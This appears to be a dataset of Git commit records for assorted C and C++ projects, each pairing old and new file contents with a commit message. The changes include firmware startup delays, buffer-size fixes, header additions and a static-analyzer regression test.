{"commit":"311c25085bd88d500450794547ad4cead98f4737","old_file":"bcl\/stm\/src\/main.c","new_file":"bcl\/stm\/src\/main.c","old_contents":"#include <bc_scheduler.h>\n#include <bc_module_core.h>\n#include <stm32l0xx.h>\n\nvoid application_init(void);\nvoid application_task(void *param);\n\nint main(void)\n{\n    bc_module_core_init();\n\n    bc_scheduler_init();\n\n    bc_scheduler_register(application_task, NULL, 0);\n\n    application_init();\n\n    bc_scheduler_run();\n}\n\n__attribute__((weak)) void application_init(void)\n{\n\n}\n\n__attribute__((weak)) void application_task(void *param)\n{\n    (void) param;\n}\n","new_contents":"#include <bc_scheduler.h>\n#include <bc_module_core.h>\n#include <stm32l0xx.h>\n\nvoid application_init(void);\nvoid application_task(void *param);\n\nint main(void)\n{\n    bc_module_core_init();\n\n    while (bc_tick_get() < 500)\n    {\n        continue;\n    }\n\n    bc_scheduler_init();\n\n    bc_scheduler_register(application_task, NULL, 0);\n\n    application_init();\n\n    bc_scheduler_run();\n}\n\n__attribute__((weak)) void application_init(void)\n{\n\n}\n\n__attribute__((weak)) void application_task(void *param)\n{\n    (void) param;\n}\n","subject":"Add 500ms wait at startup","message":"Add 500ms wait at startup\n","lang":"C","license":"mit","repos":"bigclownlabs\/bc-core-module-sdk,bigclownlabs\/bc-core-module-sdk,bigclownlabs\/bc-core-module-sdk"}
{"commit":"e4faf7ca0dad2d66b21425546ec3e9eec5b9352a","old_file":"cpp\/util\/StringTesting.h","new_file":"cpp\/util\/StringTesting.h","old_contents":"#include<stdint.h>\n#include<string>\n#include<stdexcept>\n#include<vector>\n\n\/\/ styled according to the Google C++ Style guide\n\/\/ https:\/\/google.github.io\/styleguide\/cppguide.html\n\nstruct TestString {\n\tstd::string s;\n\tuint8_t key;\n\tuint32_t score;\n};\n\nTestString CreateTestString(std::string input_string, uint8_t input_key);\nstd::vector<TestString> FilterNonPrintable(std::vector<TestString> input_strings);\nstd::vector<TestString> FilterExcessivePunctuation(std::vector<TestString> input_strings, uint16_t punc_threshold);\n\n","new_contents":"#include<stdint.h>\n#include<string>\n#include<stdexcept>\n#include<vector>\n\n\/\/ styled according to the Google C++ Style guide\n\/\/ https:\/\/google.github.io\/styleguide\/cppguide.html\n\nstruct TestString {\n\tstd::string s;\n\tuint8_t key;\n\tint32_t score;\n};\n\nTestString CreateTestString(std::string input_string, uint8_t input_key);\nstd::vector<TestString> FilterNonPrintable(std::vector<TestString> input_strings);\nstd::vector<TestString> FilterExcessivePunctuation(std::vector<TestString> input_strings, uint16_t punc_threshold);\n\n","subject":"Change TestString score to signed int","message":"Change TestString score to signed int\n","lang":"C","license":"mit","repos":"TheLunchtimeAttack\/matasano-challenges,TheLunchtimeAttack\/matasano-challenges"}
{"commit":"e2cd05e4e0e3a41039d58f171023d66206fee3bd","old_file":"tests\/regression\/13-privatized\/59-smtprc_threadenter_path_minimal.c","new_file":"tests\/regression\/13-privatized\/59-smtprc_threadenter_path_minimal.c","old_contents":"","new_contents":"#include <pthread.h>\n\nstruct options {\n   unsigned short number_of_threads ;\n   unsigned short cur_threads ;\n};\n\nstruct flags {\n   unsigned char debug ;\n};\n\nstruct options o ;\nstruct flags f ;\n\nint cleaner_start(void)\n{\n  \/\/ make unknown\n  int r;\n  o.cur_threads = r;\n  o.number_of_threads = r;\n  f.debug = r;\n  return 0;\n}\n\nint thread_start()\n{\n  return 0;\n}\n\npthread_mutex_t main_thread_count_mutex = PTHREAD_MUTEX_INITIALIZER;\n\nint main(int argc , char **argv )\n{\n  pthread_t c_tid ;\n  pthread_create(& c_tid, NULL, & cleaner_start, NULL);\n\n\n  int x = 0;\n\n\n  pthread_mutex_lock(& main_thread_count_mutex);\n  while ((int )o.cur_threads >= (int )o.number_of_threads) {\n    pthread_mutex_unlock(& main_thread_count_mutex);\n    if (f.debug) {\n      x = 1; \/\/ do something\n    }\n    \/\/ missing lock?\n  }\n  pthread_mutex_unlock(& main_thread_count_mutex);\n\n  \/\/ mine-lazy gets here with two paths and crashes\n  pthread_create(& c_tid, NULL, & thread_start, NULL);\n  return (0);\n}","subject":"Add regression test where mine-lazy used to crash due to multiple paths","message":"Add regression test where mine-lazy used to crash due to multiple paths\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"df934456592ccd64dbe9ba4a394f6a9b62effa57","old_file":"stdafx.h","new_file":"stdafx.h","old_contents":"\/\/ stdafx.h : include file for standard system include files,\n\/\/ or project specific include files that are used frequently, but\n\/\/ are changed infrequently\n\/\/\n\n#pragma once\n\n#include \"targetver.h\"\n\n#include <stdio.h>\n#include <tchar.h>\n\n\/\/ TODO: reference additional headers your program requires here\n#include <io.h>\n#include <fcntl.h>\n\n\/\/ import ADODB\n#import \"C:\\Program Files\\Common Files\\System\\ado\\msado15.dll\" no_namespace rename(\"EOF\", \"EndOfFile\")\n\n","new_contents":"\/\/ stdafx.h : include file for standard system include files,\n\/\/ or project specific include files that are used frequently, but\n\/\/ are changed infrequently\n\/\/\n\n#pragma once\n\n#include \"targetver.h\"\n\n#include <stdio.h>\n#include <tchar.h>\n\n\/\/ TODO: reference additional headers your program requires here\n#include <io.h>\n#include <fcntl.h>\n\n\/\/ import ADODB\n#import \"C:\\Program Files (x86)\\Common Files\\System\\ado\\msado15.dll\" no_namespace rename(\"EOF\", \"EndOfFile\")\n\n","subject":"Correct locaiton of msado15 for x64 dev platform","message":"Correct locaiton of msado15 for x64 dev platform\n","lang":"C","license":"bsd-2-clause","repos":"duncansmart\/sqlpipe,duncansmart\/sqlpipe"}
{"commit":"b6bca94cd4fe8096cf9c22c31c1cc4a988b51c70","old_file":"src\/dsmcc-ts.h","new_file":"src\/dsmcc-ts.h","old_contents":"#ifndef DSMCC_TS_H\n#define DSMCC_TS_H\n\n#include <stdint.h>\n\n#define DSMCC_TSPARSER_BUFFER_SIZE (4096 + 188)\n\nstruct dsmcc_tsparser_buffer\n{\n\tuint16_t pid;\n\tint      si_seen;\n\tint      in_section;\n\tint      cont;\n\tuint8_t  data[DSMCC_TSPARSER_BUFFER_SIZE];\n\n\tstruct dsmcc_tsparser_buffer *next;\n};\n\n#endif\n","new_contents":"#ifndef DSMCC_TS_H\n#define DSMCC_TS_H\n\n#include <stdint.h>\n\n#define DSMCC_TSPARSER_BUFFER_SIZE 8192\n\nstruct dsmcc_tsparser_buffer\n{\n\tuint16_t pid;\n\tint      si_seen;\n\tint      in_section;\n\tint      cont;\n\tuint8_t  data[DSMCC_TSPARSER_BUFFER_SIZE];\n\n\tstruct dsmcc_tsparser_buffer *next;\n};\n\n#endif\n","subject":"Increase size of section buffer","message":"Increase size of section buffer\n","lang":"C","license":"lgpl-2.1","repos":"frogbywyplay\/media_libdsmcc,frogbywyplay\/media_libdsmcc"}
{"commit":"297029a7e14db8fd6f30c578e1c1860dadc04096","old_file":"frame_tools.c","new_file":"frame_tools.c","old_contents":"#include <clib\/alib_stdio_protos.h>\n#include <clib\/graphics_protos.h>\n#include <inline\/graphics_protos.h>\n#include <proto\/graphics.h>\n\n#include \"frame_tools.h\"\n\nvoid RenderFrameNumber(int frameNumber) {\n  struct RastPort *rastPort = GetCurrentRastPort();\n\n  SetDrMd(rastPort, JAM1);\n\n  char number[4];\n\n  sprintf(number, \"%04d\", frameNumber);\n\n  Move(rastPort, 2, 8);\n  Text(rastPort, number, 4);\n}\n","new_contents":"#include <clib\/alib_stdio_protos.h>\n#include <clib\/graphics_protos.h>\n#include <inline\/graphics_protos.h>\n#include <proto\/graphics.h>\n\n#include \"frame_tools.h\"\n\nvoid RenderFrameNumber(int frameNumber) {\n  struct RastPort *rastPort = GetCurrentRastPort();\n\n  SetDrMd(rastPort, JAM1);\n\n  char number[5];\n\n  sprintf(number, \"%04d\", frameNumber);\n\n  Move(rastPort, 2, 8);\n  Text(rastPort, number, 4);\n}\n","subject":"Fix a nasty crash on Z3 Fast RAM enabled WinUAE.","message":"Fix a nasty crash on Z3 Fast RAM enabled WinUAE.\n","lang":"C","license":"artistic-2.0","repos":"cahirwpz\/demoscene,cahirwpz\/demoscene,cahirwpz\/demoscene,cahirwpz\/demoscene"}
{"commit":"ef0a815082ee32b1bb661cc0b91a6eae53a7e2c3","old_file":"inc\/setting.h","new_file":"inc\/setting.h","old_contents":"#ifndef __SETTING_H__\n#define __SETTING_H__\n\n#define DITHERING_AMP 768;\n\n#define BUFFER_NUM 4\n#define STAGE_NUM 4\n#define SAMPLE_NUM 256\n\n#define SAMPLE_MAX 2047\n\n#define SAMPLING_RATE 45 \/* In Kilo Hz, Make Sure it can divide 45000*\/\n#define SAMPLE_PERIOD (1.0f \/ SAMPLING_RATE)\n\n#define Q_1 1048576\n#define Q_MULT_SHIFT 11\n\n#define BLOCK_PERIOD ((float)SAMPLE_NUM \/ SAMPLING_RATE)\n\n#define DELAY_BANK(x) DELAY_BANK_##x\n\n#define DELAY_BANK_0 0xD0200000 \n#define DELAY_BANK_1 0xD0300000\n#define DELAY_BANK_2 0xD0400000\n#define DELAY_BANK_3 0xD0500000\n#define DELAY_BANK_4 0xD0600000\n\n#endif \/\/__SETTING_H__\n","new_contents":"#ifndef __SETTING_H__\n#define __SETTING_H__\n\n#define DITHERING_AMP 768;\n\n#define BUFFER_NUM 4\n#define STAGE_NUM 4\n#define SAMPLE_NUM 256\n\n#define SAMPLE_MAX 2047\n\n#define SAMPLING_RATE 44.1 \/* In Kilo Hz, Make Sure it can divide 45000*\/\n#define SAMPLE_PERIOD (1.0f \/ SAMPLING_RATE)\n\n#define Q_1 1048576\n#define Q_MULT_SHIFT 11\n\n#define BLOCK_PERIOD ((float)SAMPLE_NUM \/ SAMPLING_RATE)\n\n#define DELAY_BANK(x) DELAY_BANK_##x\n\n#define DELAY_BANK_0 0xD0200000 \n#define DELAY_BANK_1 0xD0300000\n#define DELAY_BANK_2 0xD0400000\n#define DELAY_BANK_3 0xD0500000\n#define DELAY_BANK_4 0xD0600000\n\n#endif \/\/__SETTING_H__\n","subject":"Change SAMpling Rate to 44.1K, ready for wav playing","message":"Change SAMpling Rate to 44.1K, ready for wav playing\n","lang":"C","license":"mit","repos":"sonicyang\/uRock,sonicyang\/uRock,BeyondCloud\/uRock,sonicyang\/uRock,sonicyang\/uRock,BeyondCloud\/uRock,BeyondCloud\/uRock,BeyondCloud\/uRock"}
{"commit":"caff0ab5a3a6557dfb052b79474c87d27674b551","old_file":"include\/lightmodbus\/lightmodbus.h","new_file":"include\/lightmodbus\/lightmodbus.h","old_contents":"","new_contents":"\/*\n\tliblightmodbus - a lightweight, multiplatform Modbus library\n\tCopyright (C) 2017 Jacek Wieczorek <mrjjot@gmail.com>\n\n\tThis file is part of liblightmodbus.\n\n\tLiblightmodbus is free software: you can redistribute it and\/or modify\n\tit under the terms of the GNU General Public License as published by\n\tthe Free Software Foundation, either version 3 of the License, or\n\t(at your option) any later version.\n\n\tLiblightmodbus is distributed in the hope that it will be useful,\n\tbut WITHOUT ANY WARRANTY; without even the implied warranty of\n\tMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n\tGNU General Public License for more details.\n\n\tYou should have received a copy of the GNU General Public License\n\talong with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n\n#ifndef LIGHTMODBUS_H\n#define LIGHTMODBUS_H\n\n\/\/This is for user convenience only\n#include \"core.h\"\n#include \"master.h\"\n#include \"slave.h\"\n\n#endif","subject":"Add general library header file for user convenience","message":"Add general library header file for user convenience\n","lang":"C","license":"mit","repos":"Jacajack\/modlib"}
{"commit":"b11ab06cced551e9c13ded5aea5f753ab427b1af","old_file":"lib\/common\/ArrayConverter.h","new_file":"lib\/common\/ArrayConverter.h","old_contents":"","new_contents":"\/\/__________________________________________________________________________\n\/\/ Author(s): Claudio Pizzolato - October 2013\n\/\/ email:  claudio.pizzolato@griffithuni.edu.au\n\/\/\n\/\/ DO NOT REDISTRIBUTE WITHOUT PERMISSION\n\/\/__________________________________________________________________________\n\/\/\n\n#ifndef ArrayConverter_h\n#define ArrayConverter_h\n\nclass ArrayConverter{\npublic:\n    template<typename T>\n    static void toStdVector(const OpenSim::Array<T>& srcArray, std::vector<T>& dstVector) {\n        dstVector.clear();\n        int size = srcArray.getSize();\n        dstVector.resize(size);\n        for(int i = 0; i < size; ++i)\n        dstVector.at(i) = srcArray.get(i);\n    }\n    template<typename T>\n    static void fromStdVector(OpenSim::Array<T>& dstArray, const std::vector<T>& srcVector) {\n        for(typename vector<T>::const_iterator it(srcVector.begin()); it != srcVector.end(); ++it)\n            dstArray.append(*it);\n    }\n\n\n};\n\n#endif","subject":"Add conversion from OpenSim array to vector","message":"Add conversion from OpenSim array to vector\n","lang":"C","license":"apache-2.0","repos":"CEINMS\/CEINMS"}
{"commit":"ac5bfbbc8e46369f49816d8400d10dceceaa8b5a","old_file":"treeplayer\/inc\/LinkDef.h","new_file":"treeplayer\/inc\/LinkDef.h","old_contents":"\/* @(#)root\/treeplayer:$Name:  $:$Id: LinkDef.h,v 1.1.1.1 2000\/05\/16 17:00:44 rdm Exp $ *\/\n\n\/*************************************************************************\n * Copyright (C) 1995-2000, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n#ifdef __CINT__\n\n#pragma link off all globals;\n#pragma link off all classes;\n#pragma link off all functions;\n\n#pragma link C++ class TTreePlayer;\n#pragma link C++ class TPacketGenerator;\n#pragma link C++ class TTreeFormula-;\n\n#endif\n","new_contents":"\/* @(#)root\/treeplayer:$Name:  $:$Id: LinkDef.h,v 1.2 2000\/07\/06 17:20:52 brun Exp $ *\/\n\n\/*************************************************************************\n * Copyright (C) 1995-2000, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n#ifdef __CINT__\n\n#pragma link off all globals;\n#pragma link off all classes;\n#pragma link off all functions;\n\n#pragma link C++ class TTreePlayer+;\n#pragma link C++ class TPacketGenerator;\n#pragma link C++ class TTreeFormula-;\n\n#endif\n","subject":"Declare option \"+\" for TTreePlayer","message":"Declare option \"+\" for TTreePlayer\n\n\ngit-svn-id: ecbadac9c76e8cf640a0bca86f6bd796c98521e3@986 27541ba8-7e3a-0410-8455-c3a389f83636\n","lang":"C","license":"lgpl-2.1","repos":"bbannier\/ROOT,bbannier\/ROOT,dawehner\/root,dawehner\/root,dawehner\/root,dawehner\/root,bbannier\/ROOT,bbannier\/ROOT,dawehner\/root,bbannier\/ROOT,bbannier\/ROOT,dawehner\/root,dawehner\/root,dawehner\/root,bbannier\/ROOT"}
{"commit":"dd8141b9f910bda6a1f423dcdda0ca48fac8cdcf","old_file":"src\/capwap\/dtls_gnutls.c","new_file":"src\/capwap\/dtls_gnutls.c","old_contents":"\/*\n    This file is part of libcapwap.\n\n    libcapwap is free software: you can redistribute it and\/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation, either version 3 of the License, or\n    (at your option) any later version.\n\n    libcapwap is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with Foobar.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n\n*\/\n\n\n#include <gnutls\/gnutls.h>\n\n\nint dtls_gnutls_init()\n{\n\tgnutls_global_init();\n\treturn 1;\n}\n","new_contents":"\/*\n    This file is part of libcapwap.\n\n    libcapwap is free software: you can redistribute it and\/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation, either version 3 of the License, or\n    (at your option) any later version.\n\n    libcapwap is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with Foobar.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n\n*\/\n\n\n#include <gnutls\/gnutls.h>\n\n#include \"cw_log.h\"\n\nint dtls_gnutls_init()\n{\n\tcw_dbg(DBG_CW_INFO,\"Init SSL library - using GnuTLS\");\n\tgnutls_global_init();\n\treturn 1;\n}\n","subject":"Debug info for init dunction.","message":"Debug info for init dunction.\n\nFossilOrigin-Name: 7127f1670bedbfa09f000dcd4eff557f448184d0450b373e888856979877ccbe","lang":"C","license":"bsd-2-clause","repos":"7u83\/actube,7u83\/actube,7u83\/actube,7u83\/actube,7u83\/actube"}
{"commit":"43d18db47ade75c53db4fce9b521a96b01c75cec","old_file":"inc\/setting.h","new_file":"inc\/setting.h","old_contents":"#ifndef __SETTING_H__\n#define __SETTING_H__\n\n#define BUFFER_NUM 4\n#define STAGE_NUM 4\n#define SAMPLE_NUM 256\n\n#define SAMPLE_MAX 2047\n\n#define SAMPLING_RATE 100 \/* In Kilo Hz, Make Sure it can divide 45000*\/\n#define SAMPLE_PREIOD 1 \/ SAMPLE_RATE\n\n#define BLOCK_PREIOD SAMPLE_NUM \/ SAMPLING_RATE\n\n#define DELAY_BANK(x) DELAY_BANK_##x\n\n#define DELAY_BANK_0 0xD0200000 \n#define DELAY_BANK_1 0xD0300000\n#define DELAY_BANK_2 0xD0400000\n#define DELAY_BANK_3 0xD0500000\n#define DELAY_BANK_4 0xD0600000\n\n#endif \/\/__SETTING_H__\n","new_contents":"#ifndef __SETTING_H__\n#define __SETTING_H__\n\n#define BUFFER_NUM 4\n#define STAGE_NUM 4\n#define SAMPLE_NUM 256\n\n#define SAMPLE_MAX 2047\n\n#define SAMPLING_RATE 200 \/* In Kilo Hz, Make Sure it can divide 45000*\/\n#define SAMPLE_PREIOD 1 \/ SAMPLE_RATE\n\n#define BLOCK_PREIOD SAMPLE_NUM \/ SAMPLING_RATE\n\n#define DELAY_BANK(x) DELAY_BANK_##x\n\n#define DELAY_BANK_0 0xD0200000 \n#define DELAY_BANK_1 0xD0300000\n#define DELAY_BANK_2 0xD0400000\n#define DELAY_BANK_3 0xD0500000\n#define DELAY_BANK_4 0xD0600000\n\n#endif \/\/__SETTING_H__\n","subject":"Increase the sampling rate to 200khz","message":"Increase the sampling rate to 200khz\n","lang":"C","license":"mit","repos":"sonicyang\/uRock,BeyondCloud\/uRock,BeyondCloud\/uRock,sonicyang\/uRock,sonicyang\/uRock,BeyondCloud\/uRock,sonicyang\/uRock,BeyondCloud\/uRock"}
{"commit":"f8cbdcc43038a1acb26f6643aa06c082b14c15ef","old_file":"src\/Game\/Player.h","new_file":"src\/Game\/Player.h","old_contents":"\/\/\n\/\/ WulfGame\/Game\/Player.h\n\/\/ Copyright (C) 2012 Lexi Robinson\n\/\/ This code is freely available under the MIT licence.\n\/\/\n#pragma once\n#include <glm\/glm.hpp>\n#include \"WulfConstants.h\"\n#include \"Game\/InputManager.h\"\n#include \"Game\/Constants.h\"\n#include \"Game\/Entity.h\"\n#include \"Map\/Map.h\"\n\nnamespace Wulf {\n\tclass Player : public Entity {\n\tpublic:\n\t\tPlayer();\n\t\t~Player() {};\n\n\t\tvoid ProcessUserInput(const Input::Data& input, const double dtime);\n\t\tvoid ProcessMapInput(const Map::Map& map);\n#ifdef FREE_VIEW\n\t\tglm::vec3 GetUp() const { return mUp; }\n#endif\n\n\t\tDifficulty GetDifficulty() const { return mDifficulty; }\n\t\tvoid SetDifficulty(Difficulty nDiff) { mDifficulty = nDiff; }\n\n\tprivate:\n\t\tDifficulty mDifficulty;\n#ifdef FREE_VIEW\n\t\tfloat   fhViewAngle;\n\t\tfloat   fvViewAngle;\n\t\tglm::vec3 mUp;\n#else\n\t\tfloat   fViewAngle;\n#endif\n\t\tPlayer(Player& other);\n\t\tPlayer& operator=(Player& other);\n\t};\n}\n\n","new_contents":"\/\/\n\/\/ WulfGame\/Game\/Player.h\n\/\/ Copyright (C) 2012 Lexi Robinson\n\/\/ This code is freely available under the MIT licence.\n\/\/\n#pragma once\n#include <glm\/glm.hpp>\n#include \"WulfConstants.h\"\n#include \"Game\/InputManager.h\"\n#include \"Game\/Constants.h\"\n#include \"Game\/Entity.h\"\n#include \"Map\/Map.h\"\n\nnamespace Wulf {\n\tclass Player : public Entity {\n\tpublic:\n\t\tPlayer();\n\t\t~Player() {};\n\n\t\tvoid ProcessUserInput(const Input::Data& input, const double dtime);\n\t\tvoid ProcessMapInput(const Map::Map& map);\n#ifdef FREE_VIEW\n\t\tglm::vec3 GetUp() const { return mUp; }\n#endif\n\n\t\tbyte Ammo;\n\t\tword Score;\n\n\t\tDifficulty GetDifficulty() const { return mDifficulty; }\n\t\tvoid SetDifficulty(Difficulty nDiff) { mDifficulty = nDiff; }\n\n\tprivate:\n\t\tDifficulty mDifficulty;\n#ifdef FREE_VIEW\n\t\tfloat   fhViewAngle;\n\t\tfloat   fvViewAngle;\n\t\tglm::vec3 mUp;\n#else\n\t\tfloat   fViewAngle;\n#endif\n\t\tPlayer(Player& other);\n\t\tPlayer& operator=(Player& other);\n\t};\n}\n\n","subject":"Add ammo and score fields to the player object","message":"Add ammo and score fields to the player object\n","lang":"C","license":"mit","repos":"Lexicality\/Wulf2012,Lexicality\/Wulf2012"}
{"commit":"c4e291a94360b117fcdd4ea141599de0c670e70a","old_file":"src\/core\/server.h","new_file":"src\/core\/server.h","old_contents":"#ifndef\tAPIMOCK_SERVER_H\n#define APIMOCK_SERVER_H\n#include <string>\n#include <memory>\n#include <functional>\n#include \"http\/requestdata.h\"\n#include \"http\/responsedata.h\"\n\nnamespace ApiMock {\n\tclass Server {\n\t\ttypedef std::function<ResponseData(RequestData)> CreateResponse;\n\t\tstruct ServerImpl;\n\t\tstd::unique_ptr<ServerImpl> _impl;\n\n\t\tServer& operator=(const Server&);\n\t\tServer(const Server&);\n\n\tpublic:\n\t\tServer();\n\t\t~Server();\n\t\tvoid startServer(const std::string& address, int port, int bufferSize, CreateResponse createResponse);\n\t};\n}\n\n#endif","new_contents":"#ifndef\tAPIMOCK_SERVER_H\n#define APIMOCK_SERVER_H\n#include <string>\n#include <memory>\n#include <functional>\n#include \"http\/requestdata.h\"\n#include \"http\/responsedata.h\"\n\nnamespace ApiMock {\n\tclass Server {\n\t\tstruct ServerImpl;\n\t\tstd::unique_ptr<ServerImpl> _impl;\n\n\t\tServer& operator=(const Server&);\n\t\tServer(const Server&);\n\n\tpublic:\n\t\ttypedef std::function<ResponseData(RequestData)> CreateResponse;\n\t\tServer();\n\t\t~Server();\n\t\tvoid startServer(const std::string& address, int port, int bufferSize, CreateResponse createResponse);\n\t};\n}\n\n#endif","subject":"Make the CreateResponse typedef public","message":"Make the CreateResponse typedef public\n","lang":"C","license":"mit","repos":"Lavesson\/api-mock,Lavesson\/api-mock,Lavesson\/api-mock,Lavesson\/api-mock"}
{"commit":"74163dc02b192de5b4286d5cc7bd0377a7d06a74","old_file":"CKTextField\/CKTextField.h","new_file":"CKTextField\/CKTextField.h","old_contents":"\/\/\n\/\/  CKTextField.h\n\/\/  CKTextField\n\/\/\n\/\/  Created by Christian Klaproth on 12.09.14.\n\/\/  Copyright (c) 2014 Christian Klaproth. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import <UIKit\/UIKit.h>\n#import \"CKExternalKeyboardSupportedTextField.h\"\n\n@class CKTextField;\n\nenum CKTextFieldValidationResult {\n    CKTextFieldValidationUnknown,\n    CKTextFieldValidationPassed,\n    CKTextFieldValidationFailed\n};\n\n\/**\n * Adds optional methods that are sent to the UITextFieldDelegate.\n *\/\n@protocol CKTextFieldValidationDelegate <NSObject>\n\n@optional\n\n- (void)textField:(CKTextField*)aTextField validationResult:(enum CKTextFieldValidationResult)aResult forText:(NSString*)aText;\n\n@end\n\n@interface CKTextField : CKExternalKeyboardSupportedTextField\n\n\/\/\n\/\/ User Defined Runtime Attributes (--> Storyboard!)\n\/\/\n\/\/ *******************************************************\n\/\/                                                       *\n\/\/                                                       *\n\n@property (nonatomic) NSString* validationType;\n@property (nonatomic) NSString* minLength;\n@property (nonatomic) NSString* maxLength;\n@property (nonatomic) NSString* minValue;\n@property (nonatomic) NSString* maxValue;\n@property (nonatomic) NSString* pattern;\n\n\/\/                                                       *\n\/\/                                                       *\n\/\/ *******************************************************\n\n@property (nonatomic, weak) id<CKTextFieldValidationDelegate> validationDelegate;\n\n- (void)shake;\n- (void)showAcceptButton;\n- (void)hideAcceptButton;\n\n@end\n","new_contents":"\/\/\n\/\/  CKTextField.h\n\/\/  CKTextField\n\/\/\n\/\/  Created by Christian Klaproth on 12.09.14.\n\/\/  Copyright (c) 2014 Christian Klaproth. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import <UIKit\/UIKit.h>\n#import \"CKExternalKeyboardSupportedTextField.h\"\n\n@class CKTextField;\n\nenum CKTextFieldValidationResult {\n    CKTextFieldValidationUnknown,\n    CKTextFieldValidationPassed,\n    CKTextFieldValidationFailed\n};\n\n\/**\n * Adds optional methods that are sent to the UITextFieldDelegate.\n *\/\n@protocol CKTextFieldValidationDelegate <NSObject>\n\n@optional\n\n- (void)textField:(CKTextField*)aTextField validationResult:(enum CKTextFieldValidationResult)aResult forText:(NSString*)aText;\n\n@end\n\n@interface CKTextField : CKExternalKeyboardSupportedTextField\n\n\/\/\n\/\/ User Defined Runtime Attributes (--> Storyboard!)\n\/\/\n\/\/ *******************************************************\n\/\/                                                       *\n\/\/                                                       *\n\n@property (nonatomic) IBInspectable NSString* validationType;\n@property (nonatomic) IBInspectable NSString* minLength;\n@property (nonatomic) IBInspectable NSString* maxLength;\n@property (nonatomic) IBInspectable NSString* minValue;\n@property (nonatomic) IBInspectable NSString* maxValue;\n@property (nonatomic) IBInspectable NSString* pattern;\n\n\/\/                                                       *\n\/\/                                                       *\n\/\/ *******************************************************\n\n@property (nonatomic, weak) id<CKTextFieldValidationDelegate> validationDelegate;\n\n- (void)shake;\n- (void)showAcceptButton;\n- (void)hideAcceptButton;\n\n@end\n","subject":"Use of IBInspectable for user defined attributes.","message":"Use of IBInspectable for user defined attributes.\n\nValidation type and ranges can be specified using the attribute\ninspector. #5\n","lang":"C","license":"mit","repos":"JaNd3r\/CKTextField,JaNd3r\/CKTextField"}
{"commit":"1c38627f3851dbae42f216f3e74de7ccf7f09e7a","old_file":"chap1\/onnewline.c","new_file":"chap1\/onnewline.c","old_contents":"","new_contents":"#include <stdio.h>\n\n#define IN 1 \/* inside a word *\/\n#define OUT 0 \/* outside a word *\/\n\n\/* print words on a new line *\/\n\nint main()\n{\n    int state = OUT;\n    int c = 0;\n    int nl = 0;\n    int nw = 0;\n    int nc = 0;\n\n    while ((c = getchar()) != EOF) {\n        ++nc;\n\n        if (c == '\\n') {\n            ++nl;\n        }\n\n        if (c == '\\n' || c == '\\t' || c == ' ') {\n            if (state == IN) {\n                putchar('\\n');\n            }\n            state = OUT;\n        } else if (state == OUT) {\n            state = IN;\n            ++nw;\n            putchar(c);\n        } else {\n            putchar(c);\n        }\n    }\n\n    printf(\"c:  %d\\nw:  %d\\nl:  %d\\n\", nc, nw, nl);\n    \n}\n","subject":"Add program to print whole words on new line","message":"Add program to print whole words on new line\n","lang":"C","license":"mit","repos":"jabocg\/theclang"}
{"commit":"545aa5b0f40ba9967a60a53a0d802e1aac4bbc52","old_file":"include\/ieeefp.h","new_file":"include\/ieeefp.h","old_contents":"\/*\t$NetBSD: ieeefp.h,v 1.4 1998\/01\/09 08:03:43 perry Exp $\t*\/\n\n\/* \n * Written by J.T. Conklin, Apr 6, 1995\n * Public domain.\n *\/\n\n#ifndef _IEEEFP_H_\n#define _IEEEFP_H_\n\n#include <sys\/cdefs.h>\n#include <machine\/ieeefp.h>\n\n#ifdef\ti386\n#include <machine\/floatingpoint.h>\n#else\nextern fp_rnd    fpgetround __P((void));\nextern fp_rnd    fpsetround __P((fp_rnd));\nextern fp_except fpgetmask __P((void));\nextern fp_except fpsetmask __P((fp_except));\nextern fp_except fpgetsticky __P((void));\nextern fp_except fpsetsticky __P((fp_except));\n#endif \/* i386 *\/\n\n#endif \/* _IEEEFP_H_ *\/\n","new_contents":"\/*\t$NetBSD: ieeefp.h,v 1.4 1998\/01\/09 08:03:43 perry Exp $\t*\/\n\n\/* \n * Written by J.T. Conklin, Apr 6, 1995\n * Public domain.\n *\/\n\n#ifndef _IEEEFP_H_\n#define _IEEEFP_H_\n\n#include <sys\/cdefs.h>\n#include <machine\/ieeefp.h>\n\n#ifdef __i386__\n#include <machine\/floatingpoint.h>\n#else \/* !__i386__ *\/\nextern fp_rnd    fpgetround __P((void));\nextern fp_rnd    fpsetround __P((fp_rnd));\nextern fp_except fpgetmask __P((void));\nextern fp_except fpsetmask __P((fp_except));\nextern fp_except fpgetsticky __P((void));\nextern fp_except fpsetsticky __P((fp_except));\n#endif \/* __i386__ *\/\n\n#endif \/* _IEEEFP_H_ *\/\n","subject":"Use __i386__ instead of i386 in an ifdef.","message":"Use __i386__ instead of i386 in an ifdef.\n","lang":"C","license":"bsd-3-clause","repos":"jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase"}
